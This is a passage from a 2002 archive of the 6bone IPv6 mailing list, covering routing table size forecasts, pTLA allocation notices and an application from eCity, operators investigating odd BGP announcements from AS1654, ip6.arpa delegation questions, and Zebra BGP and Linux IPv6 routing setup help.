people wll reminisce about when the routing table "only had a million
prefixes?"

Stephen

From nhua@biigroup.com Tue Jun 25 23:11:57 2002
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Subject: Re: [6bone] IPv6 routing table size
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hi , Jeff, 
It's me to make the presentation in China v6 Summit,

(1) So far the size of v6 routing table is no more than hundreds, 
yet it's only in the period of v6 experiment and with few 
ISP to provide v6 service. 

(2) The aggregation model of v6 address can lower the number of 
entries in router, but considering the length of v6 address, the practical
environment might not go as we plan it to be.

(3) The actually size of v6 routing table has much to do with RIR's 
v6 allocation policy. Accroding to recent policy which will take effect in July, 
RIR is going to allocate /32 as minimal to v6 service provider, 
and v6 service provider will assign /48 to end site. If the end-site has its own AS number, 
should we let the /48 appear in global routing table ? 

(4) Considering the multi-homing environment, when a end-site get a 
/48 from providerA, get a second /48 from providerB, and get a third /48
from providerC, and no matter this end-site has AS number or not, 
If the end-site want to take full use of the three address space and the three links, 
we have to let the three prefixes to appear in global routing table.

(5) To achieve better aggregation, RIRs should apply practices that 
maximize the potential for subsequent allocations to be made contiguous
with past v6 allocations currently held.  
However, there can be no guarantee of contiguous allocation. 
See. 
http://www.apnic.net/mailing-lists/global-v6/archive/2002/04/msg00050.html

(6) At present, one v6 provider might already hold 2 entries in rouring table, 
one is 3ffe block , another is 2001 block, we should expect more 3xxx or 2xxx to 
appear in the future, who knows. 

In summary, the size of v6 routing table can not be predicted precisely so far, 
but in my opinion, if v6 roll out in large scale in the world, the size won't be less 
than some dozens of thousand, and might be more than the size of v4. 

BTW: the 863 project for v6 router , 1M is for v4 and 200K is for v6. 

Regards, 

-------------------------------------------
Hua Ning
Chief Engineer
Beijing Internet-networking Institute,
Beijing,China 
Mobile: +86-13501067449
Tel:+86-10-65660290 Fax:+86-10-65660297
-------------------------------------------

Subject: Re: [6bone] IPv6 routing table size


> 
> Michel Py wrote:
> 
> > > Bill Manning wrote:
> > > a single "million" is either way too large or
> > > way too small.  Depends on if you beleive the
> > > aggregation model will hold.
> >
> > Agree.
> 
> The bullet point from the presentation actually was "Routing table >
> 1M".
> 
> I guess the point of the aggregation model holding is the root of my
> question.  I was thinking it would hold, but it sounds like nobody is
> banking on it.
> What factors are considered here in holding the aggregation model in
> question?
> 
> Jeff
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From michel@arneill-py.sacramento.ca.us Wed Jun 26 09:27:31 2002
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> (3) The actually size of v6 routing table has much to do with
> RIR's v6 allocation policy. Accroding to recent policy which
> will take effect in July, RIR is going to allocate /32 as
> minimal to v6 service provider, and v6 service provider will
> assign /48 to end site. If the end-site has its own AS
> number, should we let the /48 appear in global routing table ?

No. This is not the main issue, actually. One of the strong incentives
organizations multihome is not to be tied to a specific ISP. There might
be some PA site prefixes leaks, but we do not expect these to be out of
control because a) they do not provide what multihomers want b) it would
be necessary to pay the other ISPs to advertise their competitor's
prefixes.

> (4) Considering the multi-homing environment, when a end-site get
> a /48 from providerA, get a second /48 from providerB, and get a
> third /48 from providerC, and no matter this end-site has AS
> number or not, If the end-site want to take full use of the three
> address space and the three links, we have to let the three
> prefixes to appear in global routing table.

This scenario is not even on the table. Three times worse than PI is not
going to happen.

The main issue regarding the size of the routing table is everyone
becoming a LIR.

Michel.


From fink@es.net Thu Jun 27 08:59:20 2002
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Date: Thu, 27 Jun 2002 08:59:07 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: Bartosz Waszak <waszi@ipv6.icpnet.pl>,
   6bone reverse DNS registration <hostmaster@ep.net>
Mime-Version: 1.0
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Subject: [6bone] 6bone pTLA 3FFE:400C::/32 allocated to ICPNET-PL
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ICPNET-PL has been allocated pTLA 3FFE:400C::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?ICPNET-PL>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From fink@es.net Thu Jun 27 09:06:48 2002
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Date: Thu, 27 Jun 2002 09:06:35 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: "Ettore De Simone" <e.desimone@ecity.it>
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Subject: [6bone] pTLA request ECITY - review closes 14 July 2002
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6bone Folk,

ECITY has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 14 July 
2002 (due to travel to Yokohama). Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?ICPNET-PL>

<http://www.ipv6.icpnet.pl>


Thanks,

Bob

===
>From: "Ettore De Simone" <e.desimone@ecity.it>
>To: "Bob Fink" <fink@es.net>
>Cc: "hq@ecity.it" <hq@ecity.it>
>Date: Mon, 24 Jun 2002 10:21:51 +0200
>Subject: pTLA Request for Ecity (AS16035)
>
>Hi Bob,
>
>please accept this application for a pTla for eCity.
>
>
>
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>We are connected since May 15, 2001 with a /48 delegation from EDISONTEL.
>
>      a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>Our 6bone registry records are up to date:
>
>http://whois.6bone.net/cgi-bin/whois?ecity
>http://whois.6bone.net/cgi-bin/whois?ecity-mnt
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>We have currently 2 BGP4+ peering with EURNETCITY and RMNET via a Linux 
>box running Zebra.
>IPv6 address of the router is router-v6.ipv6.ecity.it (3ffe:8171:5f::1) 
>and is pingable.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>Primary server: 
>dns.ipv6.ecity.it               3ffe:8171:5f:1:202:b3ff:fe28:636f
>Secondary server: dns2.ipv6.ecity.it    3ffe:8171:5f:1:202:b3ff:fe28:638d
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Our IPv6 site is at http://www.ipv6.ecity.it and is IPv6 pingable.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>Our technical staff is:
>
>http://whois.6bone.net/cgi-bin/whois?EDS1-6BONE
>http://whois.6bone.net/cgi-bin/whois?GR4-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>We have two common mailboxes: ipv6@ecity.it and noc-ipv6@ecity.it
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>eCity is an Application Service Provider located in Rome, Italy. It 
>provides Internet or dedicated-line access to centralized
>Application Services in its Data Center to external and in-house 
>customers, as well as technical support, consulting services,
>server housing and hosting, and internet access for its in-house customers.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We fully agree to all current and future operational rules and policies.
>
>
>
>Regards,
>
>Ettore De Simone
>
>eCity Systems and Network Administrator
>
>
>
>
>==================================================
>Ettore De Simone
>Systems and Network Administrator
>eCity S.r.l - Application Service Provider
>Via Portuense 1555 - 00050 Roma
>Tel. +39-6-65003149  Fax. +39-6-65003156
>Email: e.desimone@ecity.it
>==================================================



From fink@es.net Thu Jun 27 09:08:56 2002
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Date: Thu, 27 Jun 2002 09:08:40 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: "Ettore De Simone" <e.desimone@ecity.it>
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Subject: [6bone] pTLA request ECITY - review closes 14 July 2002
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6bone Folk,

ECITY has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 14 July 
2002 (a few days longer than usual due to travel to Yokohama). Please send 
your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?ECITY>

<http://www.ipv6.ecity.it>


Thanks,

Bob

===
From: "Ettore De Simone" <e.desimone@ecity.it>
To: "Bob Fink" <fink@es.net>
Cc: "hq@ecity.it" <hq@ecity.it>
Date: Mon, 24 Jun 2002 10:21:51 +0200
Subject: pTLA Request for Ecity (AS16035)

Hi Bob,

please accept this application for a pTla for eCity.




    1. The pTLA Applicant must have a minimum of three (3) months
       qualifying experience as a 6Bone end-site or pNLA transit.  During
       the entire qualifying period the Applicant must be operationally
       providing the following:

We are connected since May 15, 2001 with a /48 delegation from EDISONTEL.

      a. Fully maintained, up to date, 6Bone Registry entries for their
          ipv6-site inet6num, mntner, and person objects, including each
          tunnel that the Applicant has.

Our 6bone registry records are up to date:

http://whois.6bone.net/cgi-bin/whois?ecity
http://whois.6bone.net/cgi-bin/whois?ecity-mnt

       b. Fully maintained, and reliable, BGP4+ peering and connectivity
          between the Applicant's boundary router and the appropriate
          connection point into the 6Bone. This router must be IPv6
          pingable. This criteria is judged by members of the 6Bone
          Operations Group at the time of the Applicant's pTLA request.

We have currently 2 BGP4+ peering with EURNETCITY and RMNET via a Linux box 
running Zebra.
IPv6 address of the router is router-v6.ipv6.ecity.it (3ffe:8171:5f::1) and 
is pingable.

       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
          entries for the Applicant's router(s) and at least one host
          system.

Primary server: dns.ipv6.ecity.it		3ffe:8171:5f:1:202:b3ff:fe28:636f
Secondary server: dns2.ipv6.ecity.it	3ffe:8171:5f:1:202:b3ff:fe28:638d

       d. A fully maintained, and reliable, IPv6-accessible system
          providing, at a mimimum, one or more web pages, describing the
          Applicant's IPv6 services.  This server must be IPv6 pingable.

Our IPv6 site is at http://www.ipv6.ecity.it and is IPv6 pingable.

    2. The pTLA Applicant MUST have the ability and intent to provide
       "production-quality" 6Bone backbone service. Applicants must
       provide a statement and information in support of this claim.
       This MUST include the following:

       a. A support staff of two persons minimum, three preferable, with
          person attributes registered for each in the ipv6-site object
          for the pTLA applicant.

Our technical staff is:

http://whois.6bone.net/cgi-bin/whois?EDS1-6BONE
http://whois.6bone.net/cgi-bin/whois?GR4-6BONE

       b. A common mailbox for support contact purposes that all support
          staff have acess to, pointed to with a notify attribute in the
          ipv6-site object for the pTLA Applicant.

We have two common mailboxes: ipv6@ecity.it and noc-ipv6@ecity.it

    3. The pTLA Applicant MUST have a potential "user community" that
       would be served by its becoming a pTLA, e.g., the Applicant is a
       major provider of Internet service in a region, country, or focus
       of interest. Applicant must provide a statement and information in
       support this claim.

eCity is an Application Service Provider located in Rome, Italy. It 
provides Internet or dedicated-line access to centralized
Application Services in its Data Center to external and in-house customers, 
as well as technical support, consulting services,
server housing and hosting, and internet access for its in-house customers.

    4. The pTLA Applicant MUST commit to abide by the current 6Bone
       operational rules and policies as they exist at time of its
       application, and agree to abide by future 6Bone backbone
       operational rules and policies as they evolve by consensus of the
       6Bone backbone and user community.

We fully agree to all current and future operational rules and policies.



Regards,

Ettore De Simone

eCity Systems and Network Administrator




==================================================
Ettore De Simone
Systems and Network Administrator
eCity S.r.l - Application Service Provider
Via Portuense 1555 - 00050 Roma
Tel. +39-6-65003149  Fax. +39-6-65003156
Email: e.desimone@ecity.it
==================================================


From dragon@tdoi.org Thu Jun 27 14:48:20 2002
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Date: Thu, 27 Jun 2002 23:47:35 +0200
From: "Christian Nickel" <dragon@tdoi.org>
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Subject: [6bone] fake/hijacked sTLA/pTLA's from AS1654
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This is a multi-part message in MIME format.

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	charset="iso-8859-1"
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Hi,

I'm receiving some strange routing informations from AS1654
via multiple other AS's. Have a look to the attached textfile.
There are problems with SICS or someone announcing
faked sTLA/pTLA's?

greets,
Christian


------=_NextPart_000_000D_01C21E35.03472790
Content-Type: text/plain;
	name="bgp_as1654.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="bgp_as1654.txt"

i think this is the pTLA announced by SICS (AS 1654)

*>i3ffe:200::/24                                      100      0 24765 =
1654 i

the other fake/hijacked sTLA's and pTLA's are announced from AS 1654?

*>i2001:208::/35                                10    100      0 8379 =
24765 1654 i
*>i2001:2d8::/35                                      100      0 1752 =
3265 15897 10566 2042 24765 1654 i
*>i2001:3c0::/35                                      100      0 8627 =
12337 10566 5594 13193 109 6435 6342 3265 24765 1654 i
*>i2001:528::/35                                      100      0 24765 =
10566 6175 3549 2713 2042 45328 8277 15589 1654 i
*>i2001:5e0::/35                                      100      0 24765 =
10566 5594 2200 513 9264 7660 2500 11537 2603 1275 3320 1654 i
*>i2001:738::/35                                      100      0 8627 =
6830 6175 7580 10566 13193 109 6342 3265 24765 1654 i
*>i2001:7e8::/35                                      100      0 24765 =
15897 10566 17715 6939 2042 45328 8277 8379 1275 15589 1654 i
*>i2001:7f8::/35                                      100      0 24765 =
10566 2042 45328 8277 8379 1275 15589 1654 i
*>i3ffe:d00::/24                                      100      0 24765 =
10566 6939 3320 293 5609 8002 33 15589 1654 i
*>i3ffe:e00::/24                                      100      0 24765 =
6939 17715 10566 8002 33 15589 1654 i
*>i3ffe:1100::/24                                     100      0 24765 =
10566 5594 8002 33 15589 1654 i
*>i3ffe:1400::/24                                     100      0 24765 =
10566 5594 8002 33 15589 1654 i
*>i3ffe:1600::/24                               10    100      0 8379 =
24765 1654 i
*>i3ffe:1700::/24                                     100      0 24765 =
6939 17715 10566 8002 33 15589 1654 i
*>i3ffe:1a00::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:1b00::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:1e00::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:1f00::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:2300::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:2400::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:2700::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:2f00::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:3000::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:3400::/24                                     100      0 24765 =
6939 9044 10566 5594 6830 5609 33 15589 1654 i
*>i3ffe:3a00::/24                              500    100      0 8379 =
8379 10566 3265 1103 2200 513 9264 7660 2500 4725 6939 5539 3320 1654 i
*>i3ffe:3b00::/24                              500    100      0 8379 =
8379 10566 5594 2200 1916 1930 6939 145 293 109 5539 8472 1752 6830 1654 =
i
*>i3ffe:3c00::/24                              500    100      0 8379 =
8379 10566 6939 3265 9264 7660 2500 3425 293 5609 4554 5539 8472 1752 =
6830 1654 i
*>i3ffe:3d00::/24                                     100      0 1752 =
5408 10566 5594 2200 1103 3425 293 4554 278 6939 2042 45328 8277 8379 =
1275 15589 1654 i
*>i3ffe:3e00::/24                              500    100      0 8379 =
8379 10566 5594 6830 6939 145 6175 5408 2549 109 9264 7660 2500 4725 =
3748 1275 15589 1654 i
*>i3ffe:3f00::/24                              500    100      0 8379 =
8379 10566 3265 20834 513 9264 7660 2500 4725 6939 5539 3320 1654 i
*>i3ffe:80f0::/28                                     100      0 24765 =
10566 5594 8002 33 15589 1654 i
*>i3ffe:8210::/28                                     100      0 24765 =
10566 5594 8002 33 15589 1654 i
*>i3ffe:8340::/28                                     100      0 24765 =
10566 6939 17715 109 9264 7660 2500 4725 3748 1275 5609 1654 i
*>i3ffe:8390::/28                              500    100      0 8379 =
8379 10566 15589 3320 2549 109 1251 3265 20834 1654 i
*>i3ffe:83a0::/28                                     100      0 8379 =
5539 9044 10566 9264 7660 2500 4725 3748 1275 3320 1654 i
*>i3ffe:83b0::/28                              500    100      0 8379 =
8379 10566 6939 9264 7660 2500 4725 3748 1275 5609 1654 i
*>i3ffe:83c0::/28                              500    100      0 8379 =
8379 10566 9264 7660 2500 4725 3748 1275 5609 1654 i
*>i3ffe:83d0::/28                                     100      0 8379 =
5539 9044 10566 6939 9264 7660 2500 4725 3748 1275 3320 1654 i
*>i3ffe:83e0::/28                              500    100      0 8379 =
8379 10566 6939 9264 7660 2500 4725 3748 1275 3320 1654 i
*>i3ffe:83f0::/28                                     100      0 1752 =
5408 6175 7580 10566 3265 6435 278 6939 9264 7660 2500 4725 3748 1275 =
15589 1654 i
*>i3ffe:8400::/28                              500    100      0 8379 =
8379 10566 3265 6435 2549 109 3320 1275 15589 1654 i

------=_NextPart_000_000D_01C21E35.03472790--



From michel@arneill-py.sacramento.ca.us Thu Jun 27 16:10:29 2002
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Subject: RE: [6bone] fake/hijacked sTLA/pTLA's from AS1654
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Thread-Topic: [6bone] fake/hijacked sTLA/pTLA's from AS1654
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Christian Nickel" <dragon@tdoi.org>, <6bone@mailman.isi.edu>
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> Christian Nickel wrote:
> I'm receiving some strange routing informations from
> AS1654 via multiple other AS's. Have a look to the attached
> textfile. There are problems with SICS or someone
> announcing faked sTLA/pTLA's?

This looks very much like the BGP withdraw route bug we had a while ago,
and last time the AS that appeared to be the source of the problem did
indeed not announce anything bad.

Does someone remember what the resolution was?

Michel.


From jeroen@unfix.org Thu Jun 27 16:12:08 2002
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Cc: <lalle@sics.se>, <joyride@sics.se>, <ipv6@sics.se>, <peter@sics.se>
Subject: RE: [6bone] fake/hijacked sTLA/pTLA's from AS1654
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Christian Nickel wrote:

> Hi,
> 
> I'm receiving some strange routing informations from AS1654
> via multiple other AS's. Have a look to the attached textfile.
> There are problems with SICS or someone announcing
> faked sTLA/pTLA's?

Welll their router certainly is peeping up... and it is announcing
certain routes that it shouldn't.
Check http://www.ipng.nl/bgp/bgp-page-complete.html
and http://www.ipng.nl/bgp/odd-routes.html
It also shows a LOT of unaggregated prefixes...
http://www.ipng.nl/bgp/odd-routes1.html

Almost anything goes to SICS.
It more or less looks like a replay from a _very_ old date.
Most of the announced prefixes _are_ valid but haven't been in active
use for a while.

SICS guys CC:'d
http://www.ipv6.sics.se/6bone_config/netstat_rn.dump looks kinda
normal.... odd...

Greets,
 Jeroen



From rrockell@sprint.net Thu Jun 27 16:23:29 2002
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Last I checked, ingress and egress filters did the trick...


Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Thu, 27 Jun 2002, Michel Py wrote:

->> Christian Nickel wrote:
->> I'm receiving some strange routing informations from
->> AS1654 via multiple other AS's. Have a look to the attached
->> textfile. There are problems with SICS or someone
->> announcing faked sTLA/pTLA's?
->
->This looks very much like the BGP withdraw route bug we had a while ago,
->and last time the AS that appeared to be the source of the problem did
->indeed not announce anything bad.
->
->Does someone remember what the resolution was?
->
->Michel.
->
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From fink@es.net Fri Jun 28 06:19:32 2002
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Date: Fri, 28 Jun 2002 06:15:19 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: "Ferdinando Porcu" <fporcu@eurnetcity.net>,
   6bone reverse DNS registration <hostmaster@ep.net>
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Subject: [6bone] 6bone pTLA 3FFE:400D::/32 allocated to EURNETCITY
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EURNETCITY has been allocated pTLA 3FFE:400D::/32 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?EURNETCITY>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From pasky@machine.sinus.cz Tue Jul  2 11:39:25 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
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Subject: [6bone] Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa
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  Hello,

Dear diary, on Thu, Jan 17, 2002 at 02:27:26PM CET, I got a letter, where Bill
Manning <bmanning@ISI.EDU> told me, that...
> It would have been nice if the RIRs and ICANN had considered this when they
> enabled ip6.arpa.  As it stands, they have beeen asked, repeatedly by me, and
> now at the RIPE mtg as to why it has still not been done.

  I would like to ask, is there any progress in this issue? Delegation for
6bone address space is not there yet, and our users are already asking about
that - we don't know what to tell them. Can we help in some way? Who we should
ask why the delegation is not yet done?

  Thanks in advance,

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
"Capitalism is the extraordinary belief that the nastiest of men,
for the nastiest of reasons, will somehow work for the benefit of
us all." -- John Maynard Keynes
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From dragon@tdoi.org Tue Jul  2 14:48:59 2002
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Subject: Fw: [6bone] fake/hijacked sTLA/pTLA's from AS1654
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----- Original Message ----- 
From: "Lars Albertsson" <lalle@sics.se>
To: "Jeroen Massar" <jeroen@unfix.org>
Cc: "'Christian Nickel'" <dragon@tdoi.org>; <6bone@mailman.isi.edu>; <joyride@sics.se>; <ipv6@sics.se>
Sent: Friday, June 28, 2002 4:48 PM
Subject: Re: [6bone] fake/hijacked sTLA/pTLA's from AS1654


> "Jeroen Massar" <jeroen@unfix.org> writes:
> 
> > Christian Nickel wrote:
> > 
> > > Hi,
> > > 
> > > I'm receiving some strange routing informations from AS1654
> > > via multiple other AS's. Have a look to the attached textfile.
> > > There are problems with SICS or someone announcing
> > > faked sTLA/pTLA's?
> 
> Thanks for the heads up. Some time seems to have passed, however, and
> some of the problems seems to have disappeared.
> 
> > Welll their router certainly is peeping up... and it is announcing
> > certain routes that it shouldn't.
> > Check http://www.ipng.nl/bgp/bgp-page-complete.html
> 
> I don't understand the implications of this page. I notice that SICS
> is at the end of many lines, but I don't know what that means. Maybe
> somebody can give me an example of a specific advertisement that we
> make that isn't correct?
> 
> > and http://www.ipng.nl/bgp/odd-routes.html
> > It also shows a LOT of unaggregated prefixes...
> 
> I see 3ffe:8400::/28, which is no longer in our routing tables, and
> 3ffe:6000::/24, which seems to be announced to us by CALDAN. I don't
> know why we are at the end of the chain, and would appreciate if
> somebody could dig out a log entry with an invalid advertisement. We
> are interested in getting rid of the problem, but we hardly have any
> resources to debug possible issues without knowing the details. :(
> Sorry about that...
> 
> > http://www.ipng.nl/bgp/odd-routes1.html
> 
> I don't see anything originated from us here now. 
> 
> > Almost anything goes to SICS.
> > It more or less looks like a replay from a _very_ old date.
> > Most of the announced prefixes _are_ valid but haven't been in active
> > use for a while.
> > 
> > SICS guys CC:'d
> > http://www.ipv6.sics.se/6bone_config/netstat_rn.dump looks kinda
> > normal.... odd...
> 
> Thanks for looking at our dumps. I can't see anything odd here now,
> however. If you notice something, please tell me what.
> 
> I think the router has restarted since you sent the mail, so some of
> the issues may have vanished.
> 
> Sorry if we have caused inconvenience.
> 
> Mikael: I'll be on vacation next week, so if any problems requiring
> urgent attention comes up, I can't handle it quickly.
> 
> /Lalle
> 
> 



From bmanning@ISI.EDU Wed Jul  3 09:11:24 2002
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In-Reply-To: <20020702183408.GJ2947@pasky.ji.cz> from Petr Baudis at "Jul 2, 2 08:34:08 pm"
To: pasky@xs26.net (Petr Baudis)
Date: Wed, 3 Jul 2002 09:10:50 -0700 (PDT)
Cc: bmanning@ISI.EDU, pekkas@netcore.fi, 6bone@ISI.EDU, ietf@ietf.org
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%   Hello,
% 
% Dear diary, on Thu, Jan 17, 2002 at 02:27:26PM CET, I got a letter, where Bill
% Manning <bmanning@ISI.EDU> told me, that...
% > It would have been nice if the RIRs and ICANN had considered this when they
% > enabled ip6.arpa.  As it stands, they have beeen asked, repeatedly by me, and
% > now at the RIPE mtg as to why it has still not been done.
% 
%   I would like to ask, is there any progress in this issue? Delegation for
% 6bone address space is not there yet, and our users are already asking about
% that - we don't know what to tell them. Can we help in some way? Who we should
% ask why the delegation is not yet done?
% 
%   Thanks in advance,
% 
% -- 
% 
% 				Petr "Pasky" Baudis

	RFC 3152 indicates that until the 6bone is subsumed by the
	RIRs that it will not show up in ip6.arpa.

	Bob Fink has had some discussion with the RIRs on what it will
	take to have the 6bone address assignments move from
	an engineering/development status to production/commercial
	status.  

	No word on the status of those discussions.

-- 
--bill

From wizard@italiansky.com Sat Jul  6 02:24:58 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
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Subject: [6bone] PPP6
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Hello,
I would like to know if there's an experimental version of PPP6 for cisco
access server, I heard that few time ago it was available to some pTla, does
anyone know somethin' more?
Thanks a lot,
Best regards,

Matteo Tescione
Ipv6 Dept.
COMV6 - Italy



From paitken@cisco.com Sat Jul  6 06:04:45 2002
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To: Matteo Tescione <wizard@italiansky.com>
CC: 6bone@ISI.EDU
Subject: Re: [6bone] PPP6
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Matteo,

> I would like to know if there's an experimental version of PPP6 for cisco
> access server, I heard that few time ago it was available to some pTla, does
> anyone know somethin' more?

The right place to send this question is ipv6-support@cisco.com.

But yes, we do support RFC 2472.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX



From pim@ipng.nl Sun Jul  7 04:31:27 2002
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From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
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hi,

Can sombody please check up on the 6bone database at whois.6bone.net ?
It has been down for an extended period of time.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From mic@maxipes.logix.cz Tue Jul  9 05:47:11 2002
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From: Michal Ludvig <michal-ipv6@logix.cz>
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Subject: [6bone] BGP confusion
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Hi all,
I'm a little confused about using the AS numbers in IPv6 sites. Here is 
a part of the zebra's example:

router bgp 7675
 neighbor 3ffe:506:1000::2 remote-as 7675
 neighbor 3ffe:506:1000::2 next-hop-self
 neighbor fe80::200:c0ff:fe30:9be3 remote-as 9377
 neighbor fe80::200:c0ff:fe30:9be3 interface sit3
 neighbor fe80::210:5aff:fe6b:3cee remote-as 7675
 neighbor fe80::210:5aff:fe6b:3cee interface eth0
 neighbor fe80::290:27ff:fe51:84c7 remote-as 4691
 neighbor fe80::290:27ff:fe51:84c7 interface sit7
[...]

If I understand it correctly, the 7675, 9377 and 4691 are numbers of 
autonomous systems. But how do I get an AS number of an IPv6 site? 

I'm about to set up BGP routing first inside my IPv6 network and then 
perhaps even for external tunnels, but what AS number should I use for my 
internal network with a prefix obtained from xs26.net? Is that an AS 
number of IPv4 address of my "border" router? 

Thanks in advance for clarifying this issue.

Michal Ludvig
-- 
http://www.ipv6.logix.cz


From itojun@itojun.org Tue Jul  9 06:27:57 2002
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>If I understand it correctly, the 7675, 9377 and 4691 are numbers of 
>autonomous systems. But how do I get an AS number of an IPv6 site? 

	get one from your nearest RIR (RIPE, ARIN, APNIC) if you need a
	globally-unique AS number.

	if you just need to peer with your upstream and the route needs to
	go no further, you can use private AS number range.  but you need to
	negotiate with your peers first.

itojun

From fink@es.net Wed Jul 10 07:05:51 2002
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6bone Folk:

I am scheduling a 6bone meeting in Yokohama on Wednesday, just after the 
ngtrans meeting ends, in the same room. It will be the usual timing to let 
the room clear for 15 minutes and ending 15 minutes before the next meeting 
starts.

   Wed. 17 July  11:45am - 12:45pm
   same room as ngtrans is in

I will talk about the discussions I've been having with the registries 
about conversion of the 6bone address registry to the RIRs and giving the 
6bone access to the ip6.arpa reverse registry that the RIRs operate.

There is no formal draft yet, just the informal ideas, but I will present 
all that I know as of the meeting.


See you there,

Bob


From tvo@EnterZone.Net Wed Jul 10 14:14:57 2002
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From: John Fraizer <tvo@EnterZone.Net>
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Subject: [6bone] problem setting up routing for a /48
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I am having problems getting routing to work with IPv6 and linux.

I have a tunnel set up to freenet6 on router1.

Freenet6 has assigned 3ffe:b80:e32::/48 to me and I have
3ffe:b80:e32:1::1/64 bound up on lec0.

[root@Border1 bin]# ip -6 address
1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
    inet6 ::1/128 scope host
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    inet6 fe80::250:4ff:fe76:4875/10 scope link
4: dummy0: <BROADCAST,NOARP,UP> mtu 1500 qdisc noqueue
    inet6 fe80::200:ff:fe00:0/10 scope link
8: lec0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    inet6 fe80::220:48ff:fe0e:e3cc/10 scope link
    inet6 3ffe:b80:e32:1::1/64 scope global
9: sit1@NONE: <POINTOPOINT,NOARP,UP> mtu 1480 qdisc noqueue
    inet6 fe80::4223:5f1e/10 scope link
    inet6 fe80::4223:4025/10 scope link
    inet6 fe80::d173:7f16/10 scope link
    inet6 3ffe:b80:2:a8ac::2/128 scope global
    inet6 fe80::4223:5f01/10 scope link

